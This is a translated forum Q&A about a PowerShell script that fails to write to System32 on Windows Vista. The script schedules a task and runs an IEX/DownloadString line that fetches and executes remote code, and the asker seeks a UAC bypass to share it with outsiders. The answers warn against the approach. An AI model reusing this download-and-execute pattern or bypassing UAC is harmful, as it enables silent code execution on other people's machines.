【问题标题】:PowerShell and UAC in Windows VistaWindows Vista 中的 PowerShell 和 UAC
【发布时间】:2014-11-18 18:58:21
【问题描述】:

好的,我有一个执行以下操作的 PSH 脚本:

  1. 在 user/appdata/local 目录下创建一个文本文件
  2. 使用 schtasks 命令创建计划任务
  3. 运行 IEX (New-Object Net.WebClient).DownloadString('https:\BlahBlah.com') 命令
  4. 在system32文件夹下创建VBS文件

在 Windows 7 和 8 上,它运行良好。

在 Windows Vista 上,第 1、2 和 3 步有效,但第 4 步失败并出现未经授权的访问异常。我尝试对其进行修改,使其仅创建一个 txt 文件而不是 VBS(以查看问题是否是可执行文件),但我得到了同样的错误。

我敢肯定,这是 UAC 的事情。但我不知道如何绕过它。 PSH 脚本首先需要用户批准才能运行,并且除此之外进行所有其他更改都没有问题。

是否可以添加某种绕过命令来绕过 UAC?

这是我从 Powershell ISE 调试时得到的结果:

PS C:\Users\Caitlin> New-Item $env:SystemRoot\System32\Initialize.txt -type file -force

New-Item : Access to the path 'C:\Windows\System32\Initialize.txt' is denied.
At line:1 char:9
+ New-Item <<<<  $env:SystemRoot\System32\Initialize.txt -type file -force
+ CategoryInfo : PermissionDenied: (C:\Windows\System32\Initialize.txt:String) [New-Item], UnauthorizedAccessException
+ FullyQualifiedErrorId : NewItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.NewItemCommand

我希望它相对自动化,因为我将与我网络之外的其他人共享它。

我想简单的解决方案是在不同的目录下创建它,但我希望它的性能与在 Windows 7/8 上相同。

【问题讨论】:

    标签: powershell windows-vista


    【解决方案1】:

    请不要将您自己的文件放在 system32 文件夹中。它违反了书中的每一条准则,很危险,可能导致安全漏洞、不兼容、系统不稳定、版本冲突。请不要那样做。

    你想用它来完成什么?用户是否有一种简单的方法来启动您的脚本?

    您自己的可执行文件应该放在 Program Files 或 Program Files (x86) 下的文件夹中

    【讨论】:

      【解决方案2】:

      您是否以管理员身份运行 powershell(右键单击>以管理员身份运行)? 另外,检查system32目录的权限,确保运行脚本的账户确实有写权限。

      【讨论】:

        猜你喜欢
        • 2010-12-21
        • 1970-01-01
        • 2010-12-13
        • 1970-01-01
        • 2010-09-09
        • 2011-01-04
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多